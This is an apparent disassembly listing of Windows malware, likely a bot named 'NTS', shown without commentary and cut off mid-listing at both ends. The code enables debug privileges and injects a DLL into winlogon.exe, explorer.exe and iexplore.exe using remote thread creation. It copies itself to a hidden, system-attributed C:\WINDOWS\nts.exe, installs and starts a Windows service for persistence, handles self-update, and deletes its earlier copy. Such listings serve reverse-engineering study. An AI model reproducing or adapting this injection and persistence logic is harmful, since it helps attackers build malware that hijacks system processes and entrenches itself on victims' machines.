var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
lea eax, [ebp+var_1C]
push eax
push offset aSedebugprivile ; "SeDebugPrivilege"
push 0
call dword_411E78 ; LookupPrivilegeValueA
test eax, eax
jz short loc_447039
call dword_411D64 ; GetCurrentProcess
lea edx, [ebp+var_14]
push edx
push 28h
push eax
call dword_411E7C ; OpenProcessToken
test eax, eax
jz short loc_447039
mov [ebp+var_10], 1
mov eax, [ebp+var_1C]
mov edx, [ebp+var_18]
mov [ebp+var_C], eax
mov [ebp+var_8], edx
mov [ebp+var_4], 2
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
push 10h
lea eax, [ebp+var_10]
push eax
push 0
push [ebp+var_14]
call dword_411E80 ; AdjustTokenPrivileges
call dword_411CE8 ; RtlGetLastWin32Error
test eax, eax
jz short loc_447036
xor eax, eax
jmp short loc_447039
; ---------------------------------------------------------------------------
loc_447036: ; CODE XREF: sub_446FC3+6Dj
xor eax, eax
inc eax
loc_447039: ; CODE XREF: sub_446FC3+19j
; sub_446FC3+30j ...
mov esp, ebp
pop ebp
retn
sub_446FC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44703D proc near ; CODE XREF: sub_447167+34p
var_1008 = byte ptr -1008h
var_1004 = byte ptr -1004h
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1008h
call sub_4486B1
push ebx
push esi
push edi
push 40h
push 1000h
push 1000h
push 0
push [ebp+arg_0]
call dword_411D68 ; VirtualAllocEx
mov esi, eax
test eax, eax
jz loc_447160
push offset aVirtualallocex ; "VirtualAllocEx() ok\n"
call nullsub_4
pop ecx
lea ebx, [ebp+var_1000]
mov byte ptr [ebx], 68h
inc ebx
mov eax, esi
add eax, 50h
mov [ebx], eax
add ebx, 4
mov word ptr [ebx], 15FFh
add ebx, 2
mov eax, esi
add eax, 40h
mov [ebx], eax
add ebx, 4
mov byte ptr [ebx], 50h
inc ebx
mov word ptr [ebx], 15FFh
add ebx, 2
mov eax, esi
add eax, 44h
mov [ebx], eax
push offset aKernel32_dll ; "kernel32.dll"
call dword_411D6C ; GetModuleHandleA
mov edi, eax
lea ebx, [ebp+var_1000]
add ebx, 40h
push offset aLoadlibrarya ; "LoadLibraryA"
push edi
call dword_411D70 ; GetProcAddress
mov [ebx], eax
add ebx, 4
push offset aExitthread ; "ExitThread"
push edi
call dword_411D70 ; GetProcAddress
mov [ebx], eax
add ebx, 4
push offset aGetlasterror ; "GetLastError"
push edi
call dword_411D70 ; GetProcAddress
mov [ebx], eax
lea ebx, [ebp+var_1000]
add ebx, 50h
push [ebp+arg_4]
push ebx
call sub_4485F1
pop ecx
pop ecx
lea eax, [ebp+var_1004]
push eax
push 1000h
lea eax, [ebp+var_1000]
push eax
push esi
push [ebp+arg_0]
call dword_411D74 ; WriteProcessMemory
test eax, eax
jz short loc_447160
push offset aWriteprocessme ; "WriteProcessMemory() ok\n"
call nullsub_4
pop ecx
push [ebp+arg_4]
push offset aS ; "<%s>\n"
call nullsub_4
pop ecx
pop ecx
lea eax, [ebp+var_1008]
push eax
push 0
push 0
push esi
push 0
push 0
push [ebp+arg_0]
call dword_411D78 ; CreateRemoteThread
loc_447160: ; CODE XREF: sub_44703D+2Bj
; sub_44703D+EEj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44703D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447167 proc near ; CODE XREF: sub_44722F+6Fp
; sub_4472FE+5Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
call sub_446FC3
push [ebp+arg_0]
push 0
push 1F0FFFh
call dword_411D7C ; OpenProcess
mov ebx, eax
push offset aProcessOpened_ ; "process opened.\n"
call nullsub_4
pop ecx
test ebx, ebx
jz loc_447227
push [ebp+arg_4]
push ebx
call sub_44703D
pop ecx
pop ecx
mov esi, eax
test esi, esi
jz short loc_447220
push esi
push offset aThreadInjected ; "thread injected (%i).\n"
call nullsub_4
pop ecx
pop ecx
push 0FFFFFFFFh
push esi
call dword_411D34 ; WaitForSingleObject
lea eax, [ebp+var_4]
push eax
push esi
call dword_411D80 ; GetExitCodeThread
push [ebp+var_4]
push offset aThreadComplete ; "thread complete (%i).\n"
call nullsub_4
pop ecx
pop ecx
push esi
call dword_411CF8 ; CloseHandle
push ebx
call dword_411CF8 ; CloseHandle
cmp [ebp+var_4], 20h
jnb short loc_4471F0
xor eax, eax
jmp short loc_447229
; ---------------------------------------------------------------------------
loc_4471F0: ; CODE XREF: sub_447167+83j
push [ebp+arg_4]
push offset aDllInjected ; "DLL injected!\n"
call nullsub_4
pop ecx
pop ecx
cmp dword_411054, 0
jz short loc_44721B
push dword_411054
call dword_411CF8 ; CloseHandle
and dword_411054, 0
loc_44721B: ; CODE XREF: sub_447167+9Fj
xor eax, eax
inc eax
jmp short loc_447229
; ---------------------------------------------------------------------------
loc_447220: ; CODE XREF: sub_447167+3Fj
push ebx
call dword_411CF8 ; CloseHandle
loc_447227: ; CODE XREF: sub_447167+2Aj
xor eax, eax
loc_447229: ; CODE XREF: sub_447167+87j
; sub_447167+B7j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_447167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44722F proc near ; CODE XREF: DMN1:004474ECp
var_128 = dword ptr -128h
var_120 = dword ptr -120h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 128h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
call sub_446FC3
push 0
push 2
call sub_447C1D ; CreateToolhelp32Snapshot
mov edi, eax
test eax, eax
jz loc_4472F7
mov [ebp+var_128], 128h
lea eax, [ebp+var_128]
push eax
push edi
call sub_447C23 ; Process32First
loc_447270: ; CODE XREF: sub_44722F+BDj
lea eax, [ebp+var_104]
push eax
push ebx
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_4472DD
push esi
lea eax, [ebp+var_104]
push eax
push offset aTryingSWithS ; "trying <%s> with <%s>\n"
call nullsub_4
add esp, 0Ch
push esi
push [ebp+var_120]
call sub_447167
pop ecx
pop ecx
test eax, eax
jz short loc_4472C8
lea eax, [ebp+var_104]
push eax
push offset aS ; "<%s>\n"
call nullsub_4
pop ecx
pop ecx
push edi
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
jmp short loc_4472F7
; ---------------------------------------------------------------------------
loc_4472C8: ; CODE XREF: sub_44722F+78j
push esi
lea eax, [ebp+var_104]
push eax
push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n"
call nullsub_4
add esp, 0Ch
loc_4472DD: ; CODE XREF: sub_44722F+51j
lea eax, [ebp+var_128]
push eax
push edi
call sub_447C29 ; Process32Next
test eax, eax
jnz short loc_447270
push edi
call dword_411CF8 ; CloseHandle
xor eax, eax
loc_4472F7: ; CODE XREF: sub_44722F+24j
; sub_44722F+97j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44722F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4472FE proc near ; CODE XREF: DMN1:00447501p
var_128 = dword ptr -128h
var_120 = dword ptr -120h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 128h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push offset dword_411058
call sub_446D40
pop ecx
mov ecx, 100h
cdq
idiv ecx
lea esi, [edx+1]
call sub_446FC3
jmp short loc_447396
; ---------------------------------------------------------------------------
loc_44732A: ; CODE XREF: sub_4472FE+9Aj
push 0
push 2
call sub_447C1D ; CreateToolhelp32Snapshot
mov edi, eax
test eax, eax
jz short loc_44739C
mov [ebp+var_128], 128h
lea eax, [ebp+var_128]
push eax
push edi
call sub_447C23 ; Process32First
loc_447350: ; CODE XREF: sub_4472FE+8Fj
dec esi
test esi, esi
jnz short loc_44737E
push ebx
push [ebp+var_120]
call sub_447167
pop ecx
pop ecx
test eax, eax
jz short loc_447373
push edi
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
jmp short loc_44739C
; ---------------------------------------------------------------------------
loc_447373: ; CODE XREF: sub_4472FE+67j
push edi
call dword_411CF8 ; CloseHandle
xor eax, eax
jmp short loc_44739C
; ---------------------------------------------------------------------------
loc_44737E: ; CODE XREF: sub_4472FE+55j
lea eax, [ebp+var_128]
push eax
push edi
call sub_447C29 ; Process32Next
test eax, eax
jnz short loc_447350
push edi
call dword_411CF8 ; CloseHandle
loc_447396: ; CODE XREF: sub_4472FE+2Aj
test esi, esi
jnz short loc_44732A
xor eax, eax
loc_44739C: ; CODE XREF: sub_4472FE+39j
; sub_4472FE+73j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4472FE endp
; =============== S U B R O U T I N E =======================================
sub_4473A3 proc near ; CODE XREF: DMN1:0044744Bp
; DMN1:0044751Bp
push ebx
push dword_41296C
call dword_411D50 ; ResetEvent
push 0
push 0
push offset sub_405CF6
call sub_448891
add esp, 0Ch
mov ebx, eax
push 2710h
mov eax, ebx
push eax
call dword_411D34 ; WaitForSingleObject
test eax, eax
jz short loc_4473F8
push dword_41104C
call sub_442443
pop ecx
mov dword_41104C, 1
mov eax, ebx
push eax
call dword_411CF8 ; CloseHandle
xor eax, eax
jmp short loc_447404
; ---------------------------------------------------------------------------
loc_4473F8: ; CODE XREF: sub_4473A3+30j
mov eax, ebx
push eax
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
loc_447404: ; CODE XREF: sub_4473A3+53j
pop ebx
retn
sub_4473A3 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
call sub_444677
test eax, eax
jnz loc_4475EC
call sub_4445D9
test eax, eax
jnz loc_4475EC
call sub_446FC3
push dword_41296C
call dword_411D50 ; ResetEvent
push 3E8h
push dword_41296C
call dword_411D34 ; WaitForSingleObject
call sub_4473A3
test eax, eax
jz short loc_447484
push 3E8h
call dword_411D00 ; Sleep
push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"...
call nullsub_4
pop ecx
push 0FFFFFFFFh
push dword_41296C
call dword_411D34 ; WaitForSingleObject
push dword_41296C
call dword_411D50 ; ResetEvent
loc_447484: ; CODE XREF: DMN1:00447452j
and dword ptr [ebp-0Ch], 0
mov dword ptr [ebp-8], 4
mov esi, [ebp-0Ch]
loc_447492: ; CODE XREF: DMN1:004475C0j
push dword_41296C
call dword_411D50 ; ResetEvent
cmp esi, 2
ja short loc_4474CE
test esi, esi
jz short loc_4474B3
cmp esi, 1
jz short loc_4474BC
cmp esi, 2
jz short loc_4474C5
jmp short loc_4474D2
; ---------------------------------------------------------------------------
loc_4474B3: ; CODE XREF: DMN1:004474A5j
mov dword ptr [ebp-4], offset aIexplore_exe ; "iexplore.exe"
jmp short loc_4474D2
; ---------------------------------------------------------------------------
loc_4474BC: ; CODE XREF: DMN1:004474AAj
mov dword ptr [ebp-4], offset aWinlogon_exe ; "winlogon.exe"
jmp short loc_4474D2
; ---------------------------------------------------------------------------
loc_4474C5: ; CODE XREF: DMN1:004474AFj
mov dword ptr [ebp-4], offset aExplorer_exe ; "explorer.exe"
jmp short loc_4474D2
; ---------------------------------------------------------------------------
loc_4474CE: ; CODE XREF: DMN1:004474A1j
and dword ptr [ebp-4], 0
loc_4474D2: ; CODE XREF: DMN1:004474B1j
; DMN1:004474BAj ...
call sub_446E7F
test eax, eax
jz loc_4475C6
cmp esi, 2
ja short loc_4474F7
push offset dword_412970
push dword ptr [ebp-4]
call sub_44722F
pop ecx
pop ecx
mov ebx, eax
jmp short loc_447512
; ---------------------------------------------------------------------------
loc_4474F7: ; CODE XREF: DMN1:004474E2j
mov edi, 64h
loc_4474FC: ; CODE XREF: DMN1:00447510j
push offset dword_412970
call sub_4472FE
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_447512
dec edi
test edi, edi
jg short loc_4474FC
loc_447512: ; CODE XREF: DMN1:004474F5j
; DMN1:0044750Bj
inc esi
test ebx, ebx
jz loc_447599
call sub_4473A3
test eax, eax
jz short loc_447599
push 3E8h
call dword_411D00 ; Sleep
push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
call nullsub_4
pop ecx
jmp short loc_447549
; ---------------------------------------------------------------------------
loc_44753C: ; CODE XREF: DMN1:0044755Fj
call sub_4445D9
test eax, eax
jnz loc_4475EC
loc_447549: ; CODE XREF: DMN1:0044753Aj
push 2BCh
push dword_41296C
call dword_411D34 ; WaitForSingleObject
cmp eax, 102h
jz short loc_44753C
push dword_41296C
call dword_411D50 ; ResetEvent
mov esi, [ebp-0Ch]
call sub_4445D9
test eax, eax
jz short loc_44758E
push offset aDying ; "dying\n"
call nullsub_4
pop ecx
push 1
call sub_448961
pop ecx
jmp short loc_4475EC
; ---------------------------------------------------------------------------
loc_44758E: ; CODE XREF: DMN1:00447577j
push offset aDllStopped___ ; "DLL stopped...\n"
call nullsub_4
pop ecx
loc_447599: ; CODE XREF: DMN1:00447515j
; DMN1:00447522j
call sub_444677
test eax, eax
jnz short loc_4475EC
cmp dword_411050, 0
jz short loc_4475BD
push offset dword_412970
call sub_448A11
pop ecx
and dword_411050, 0
loc_4475BD: ; CODE XREF: DMN1:004475A9j
cmp esi, [ebp-8]
jle loc_447492
loc_4475C6: ; CODE XREF: DMN1:004474D9j
push offset aInjectionthrea ; "InjectionThread complete\n"
call nullsub_4
pop ecx
cmp dword_411050, 0
jz short loc_4475EC
push offset dword_412970
call sub_448A11
pop ecx
and dword_411050, 0
loc_4475EC: ; CODE XREF: DMN1:00447416j
; DMN1:00447423j ...
call sub_448921
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebx
push 0
push 0
push 1
push 0
call dword_411D40 ; CreateEventA
mov dword_41296C, eax
push 0
push 0
push offset sub_406485
call sub_448891
add esp, 0Ch
mov ebx, eax
push 0FFFFFFFFh
mov eax, ebx
push eax
call dword_411D34 ; WaitForSingleObject
mov eax, ebx
push eax
call dword_411CF8 ; CloseHandle
push 0
push 0
push offset sub_40356A
call sub_448891
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
push 1F4h
call dword_411D00 ; Sleep
push 0
push 0
push offset sub_404967
call sub_448891
add esp, 0Ch
push 0FFFFFFFFh
push eax
call dword_411D34 ; WaitForSingleObject
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447672 proc near ; CODE XREF: sub_447C0A+1p
var_2004 = byte ptr -2004h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 2004h
call sub_4486B1
push ebx
push esi
push edi
and [ebp+var_4], 0
xor esi, esi
mov off_412958, offset aNts ; "NTS"
call sub_441FBD
call sub_4420E6
call sub_442018
push offset dword_413970
call dword_411CC8 ; InitializeCriticalSection
call sub_442F0F
mov dword_412934, eax
call dword_411D90 ; GetCommandLineA
push eax
call sub_4421AB
pop ecx
cmp dword_411000, 4
jnz loc_4477B0
push offset aUpdate_0 ; "*update"
push dword_4128A8
call dword_411D38 ; lstrcmpi
test eax, eax
jnz loc_4477B0
call sub_444585
mov [ebp+var_8], eax
call sub_4450E3
mov eax, dword_411018
push eax
push [ebp+var_8]
push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
call nullsub_4
add esp, 0Ch
push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
call nullsub_4
pop ecx
push 1770h
call dword_411D00 ; Sleep
call sub_445FED
push 0FA0h
call dword_411D00 ; Sleep
call sub_445FED
call sub_444606
and [ebp+var_C], 0
push dword_4128A4
push dword_4128B0
push dword_4128AC
push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n"
call nullsub_4
add esp, 10h
lea eax, [ebp+var_C]
push eax
push 1
push 0
push dword_4128AC
call sub_4446A4
add esp, 10h
test eax, eax
jnz short loc_4477A9
push 0
push 1
push 0
push dword_4128B0
call sub_4446A4
add esp, 10h
test eax, eax
jnz short loc_4477A9
push 0
push 1
push 0
push dword_4128A4
call sub_4446A4
add esp, 10h
test eax, eax
jz short loc_4477B0
loc_4477A9: ; CODE XREF: sub_447672+105j
; sub_447672+11Dj
xor eax, eax
jmp loc_447C03
; ---------------------------------------------------------------------------
loc_4477B0: ; CODE XREF: sub_447672+58j
; sub_447672+71j ...
call sub_44508F
test eax, eax
jz short loc_4477C0
xor eax, eax
jmp loc_447C03
; ---------------------------------------------------------------------------
loc_4477C0: ; CODE XREF: sub_447672+145j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jz loc_4478A3
push offset aCopying___ ; "copying...\n"
call nullsub_4
pop ecx
push 80h
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
call dword_411D28 ; SetFileAttributesA
push 0
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D24 ; CopyFileA
test eax, eax
jz loc_447895
push 7
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
call dword_411D28 ; SetFileAttributesA
lea edi, [ebp+var_2004]
mov byte ptr [edi], 22h
inc edi
push dword_4128A4
push edi
call sub_4485F1
pop ecx
pop ecx
push dword_4128A4
call sub_4485D1
pop ecx
add edi, eax
mov byte ptr [edi], 22h
inc edi
mov byte ptr [edi], 0
inc edi
lea eax, [ebp+var_2004]
push eax
push offset aCmdlineS ; "cmdline: <%s>\n"
call nullsub_4
pop ecx
pop ecx
call sub_4450E3
lea eax, [ebp+var_2004]
push eax
call sub_446AAB
pop ecx
test eax, eax
jz short loc_44787A
xor eax, eax
jmp loc_447C03
; ---------------------------------------------------------------------------
loc_44787A: ; CODE XREF: sub_447672+1FFj
push offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
call nullsub_4
pop ecx
call sub_44508F
test eax, eax
jz short loc_4478A0
xor eax, eax
jmp loc_447C03
; ---------------------------------------------------------------------------
loc_447895: ; CODE XREF: sub_447672+197j
push offset aCopyingFailed ; "copying failed %%-(\n"
call nullsub_4
pop ecx
loc_4478A0: ; CODE XREF: sub_447672+21Aj
xor esi, esi
inc esi
loc_4478A3: ; CODE XREF: sub_447672+161j
call sub_443217
call sub_446780
push 0
push 0
call sub_44335D
pop ecx
pop ecx
mov dword_411004, eax
push offset aInitializingWi ; "initializing winsock library...\n"
call nullsub_4
pop ecx
call sub_44226D
cmp dword_411000, 1
jle loc_447974
mov eax, dword_4128A8
cmp byte ptr [eax], 2Ah
jz loc_447974
push 80h
push dword_4128A8
call dword_411D28 ; SetFileAttributesA
push dword_4128A8
call dword_411D4C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_447958
push dword_4128A8
push offset aRemovingS ; "removing: <%s>\n"
call nullsub_4
pop ecx
pop ecx
mov edi, 0Ah
jmp short loc_447951
; ---------------------------------------------------------------------------
loc_447925: ; CODE XREF: sub_447672+2E4j
push 80h
push dword_4128A8
call dword_411D28 ; SetFileAttributesA
push dword_4128A8
call dword_411D18 ; DeleteFileA
test eax, eax
jnz short loc_447958
push 3E8h
call dword_411D00 ; Sleep
loc_447951: ; CODE XREF: sub_447672+2B1j
dec edi
mov eax, edi
test eax, eax
jnz short loc_447925
loc_447958: ; CODE XREF: sub_447672+298j
; sub_447672+2D2j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_447974
mov [ebp+var_4], 1
loc_447974: ; CODE XREF: sub_447672+262j
; sub_447672+270j ...
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_4479D2
push offset asc_40E58D ; "**"
push dword_4128A8
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_4479D2
push offset aWaiting___ ; "*** waiting...\n"
call nullsub_4
pop ecx
mov edi, 0Ah
loc_4479AE: ; CODE XREF: sub_447672+353j
call sub_445C39
test eax, eax
jz short loc_4479C7
push 1F4h
call dword_411D00 ; Sleep
dec edi
test edi, edi
jnz short loc_4479AE
loc_4479C7: ; CODE XREF: sub_447672+343j
push offset aWaitingComplet ; "*** waiting complete...\n"
call nullsub_4
pop ecx
loc_4479D2: ; CODE XREF: sub_447672+315j
; sub_447672+32Aj
call sub_445C39
mov ebx, eax
test ebx, ebx
jnz short loc_447A2B
push offset aNoRegisteredSe ; "no registered service, "
call nullsub_4
pop ecx
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_447A14
mov [ebp+var_4], 1
push offset aRegisterItAndR ; "register it and restart\n"
call nullsub_4
pop ecx
jmp loc_447AB5
; ---------------------------------------------------------------------------
loc_447A14: ; CODE XREF: sub_447672+389j
push offset aDonTRegisterIt ; "DON'T register it\n"
call nullsub_4
pop ecx
and [ebp+var_4], 0
xor esi, esi
inc esi
jmp loc_447AB5
; ---------------------------------------------------------------------------
loc_447A2B: ; CODE XREF: sub_447672+369j
push offset aRegisteredServ ; "registered service is here...\n"
call nullsub_4
pop ecx
call sub_445C83
test eax, eax
jz short loc_447A46
xor eax, eax
jmp loc_447C03
; ---------------------------------------------------------------------------
loc_447A46: ; CODE XREF: sub_447672+3CBj
push offset aRegisteredSe_0 ; "registered service is not running.\n"
call nullsub_4
pop ecx
call sub_445044
test eax, eax
jnz short loc_447AB5
push offset aInstallingServ ; "installing service, res="
call nullsub_4
pop ecx
call sub_445EAB
mov [ebp+var_8], eax
push [ebp+var_8]
push offset aI ; "%i\n"
call nullsub_4
pop ecx
pop ecx
call sub_446032
test eax, eax
jnz short loc_447A8A
call sub_446108
loc_447A8A: ; CODE XREF: sub_447672+411j
call sub_4450E3
push offset aStartingServic ; "starting service...\n"
call nullsub_4
pop ecx
call sub_445DD7
test eax, eax
jz short loc_447AAA
xor eax, eax
jmp loc_447C03
; ---------------------------------------------------------------------------
loc_447AAA: ; CODE XREF: sub_447672+42Fj
push offset aRegisteredSe_1 ; "registered service is not running, unre"...
call nullsub_4
pop ecx
loc_447AB5: ; CODE XREF: sub_447672+39Dj
; sub_447672+3B4j ...
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_447AF6
cmp [ebp+var_4], 0
jz short loc_447AF6
test ebx, ebx
jnz short loc_447AF6
push offset aInstallingSe_0 ; "installing service...\n"
call nullsub_4
pop ecx
call sub_445EAB
test eax, eax
jz short loc_447AF6
push offset aServiceInstall ; "service installed ok...\n"
call nullsub_4
pop ecx
xor ebx, ebx
inc ebx
loc_447AF6: ; CODE XREF: sub_447672+456j
; sub_447672+45Cj ...
test ebx, ebx
jz short loc_447B03
call sub_445044
test eax, eax
jz short loc_447B2D
loc_447B03: ; CODE XREF: sub_447672+486j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_447B5D
push offset asc_40E58D ; "**"
push dword_4128A8
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_447B5D
loc_447B2D: ; CODE XREF: sub_447672+48Fj
push offset aStartingServic ; "starting service...\n"
call nullsub_4
pop ecx
call sub_4450E3
call sub_445DD7
test eax, eax
jz short loc_447B4D
xor eax, eax
jmp loc_447C03
; ---------------------------------------------------------------------------
loc_447B4D: ; CODE XREF: sub_447672+4D2j
call sub_44508F
test eax, eax
jz short loc_447B5D
xor eax, eax
jmp loc_447C03
; ---------------------------------------------------------------------------
loc_447B5D: ; CODE XREF: sub_447672+4A4j
; sub_447672+4B9j ...
call sub_445C39
test eax, eax
jz short loc_447BB4
call sub_445044
test eax, eax
jz short loc_447BB4
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_447BB4
push offset asc_40E58D ; "**"
push dword_4128A8
call dword_411D38 ; lstrcmpi
test eax, eax
jz short loc_447BB4
push offset aInitializingSe ; "initializing service startup sequence.."...
call nullsub_4
pop ecx
call sub_446A4A
test eax, eax
jz short loc_447BB1
xor eax, eax
jmp short loc_447C03
; ---------------------------------------------------------------------------
loc_447BB1: ; CODE XREF: sub_447672+539j
xor esi, esi
inc esi
loc_447BB4: ; CODE XREF: sub_447672+4F2j
; sub_447672+4FBj ...
push offset aNotDaemonized_ ; "not daemonized...\n"
call nullsub_4
pop ecx
test esi, esi
jz short loc_447BCF
push dword_4128A4
call sub_4466F5
pop ecx
loc_447BCF: ; CODE XREF: sub_447672+54Fj
call sub_44508F
test eax, eax
jz short loc_447BDC
xor eax, eax
jmp short loc_447C03
; ---------------------------------------------------------------------------
loc_447BDC: ; CODE XREF: sub_447672+564j
push 0
push 0
push offset sub_406677
call sub_448891
add esp, 0Ch
push 0FFFFFFFFh
push eax
call dword_411D34 ; WaitForSingleObject
push offset dword_40E000
call nullsub_4
pop ecx
xor eax, eax
loc_447C03: ; CODE XREF: sub_447672+139j
; sub_447672+149j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_447672 endp
; =============== S U B R O U T I N E =======================================
sub_447C0A proc near ; CODE XREF: DMN1:00448AE2p
push ebx
call sub_447672
mov ebx, eax
call sub_4450E3
mov eax, ebx
pop ebx
retn 10h
sub_447C0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C1D proc near ; CODE XREF: sub_44722F+1Bp
; sub_4472FE+30p
jmp dword_411D84
sub_447C1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C23 proc near ; CODE XREF: sub_44722F+3Cp
; sub_4472FE+4Dp
jmp dword_411D88
sub_447C23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C29 proc near ; CODE XREF: sub_44722F+B6p
; sub_4472FE+88p
jmp dword_411D8C
sub_447C29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C2F proc near ; CODE XREF: sub_44226D+1Ap
; sub_44226D+34p
jmp dword_411E88
sub_447C2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C35 proc near ; CODE XREF: DMN1:004422D1p
jmp dword_411E8C
sub_447C35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C3B proc near ; CODE XREF: sub_4422DA+Bp
; DMN1:0044235Ep ...
jmp dword_411E90
sub_447C3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C41 proc near ; CODE XREF: sub_4422DA+36p
; sub_4422DA+53p ...
jmp dword_411E94
sub_447C41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C47 proc near ; CODE XREF: sub_442443+4p
; sub_443A83+152p ...
jmp dword_411E98
sub_447C47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C4D proc near ; CODE XREF: sub_442450+56p
jmp dword_411E9C
sub_447C4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C53 proc near ; CODE XREF: sub_4424C3+11p
jmp dword_411EA0
sub_447C53 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C59 proc near ; CODE XREF: sub_4424E8+28p
; sub_442538+28p ...
jmp dword_411EA4
sub_447C59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C5F proc near ; CODE XREF: sub_4424E8+3Ap
jmp dword_411EA8
sub_447C5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C65 proc near ; CODE XREF: sub_442538+3Ap
; sub_443A83+E5p ...
jmp dword_411EAC
sub_447C65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C6B proc near ; CODE XREF: sub_442588+8p
jmp dword_411EB0
sub_447C6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C71 proc near ; CODE XREF: sub_4425A2+30p
; sub_4425ED+3Fp
jmp dword_411EB4
sub_447C71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C77 proc near ; CODE XREF: sub_4425ED+5Fp
; DMN1:004427C5p ...
jmp dword_411EB8
sub_447C77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C7D proc near ; CODE XREF: sub_44265D+17p
; sub_442694+18p ...
jmp dword_411EBC
sub_447C7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C83 proc near ; CODE XREF: sub_442708+17p
jmp dword_411EC0
sub_447C83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C89 proc near ; CODE XREF: sub_44273F+8p
; sub_44352A+EDp ...
jmp dword_411EC4
sub_447C89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C8F proc near ; CODE XREF: sub_44273F+1Bp
jmp dword_411EC8
sub_447C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C95 proc near ; CODE XREF: DMN1:004427A8p
jmp dword_411ECC
sub_447C95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447C9B proc near ; CODE XREF: DMN1:004427F7p
jmp dword_411ED0
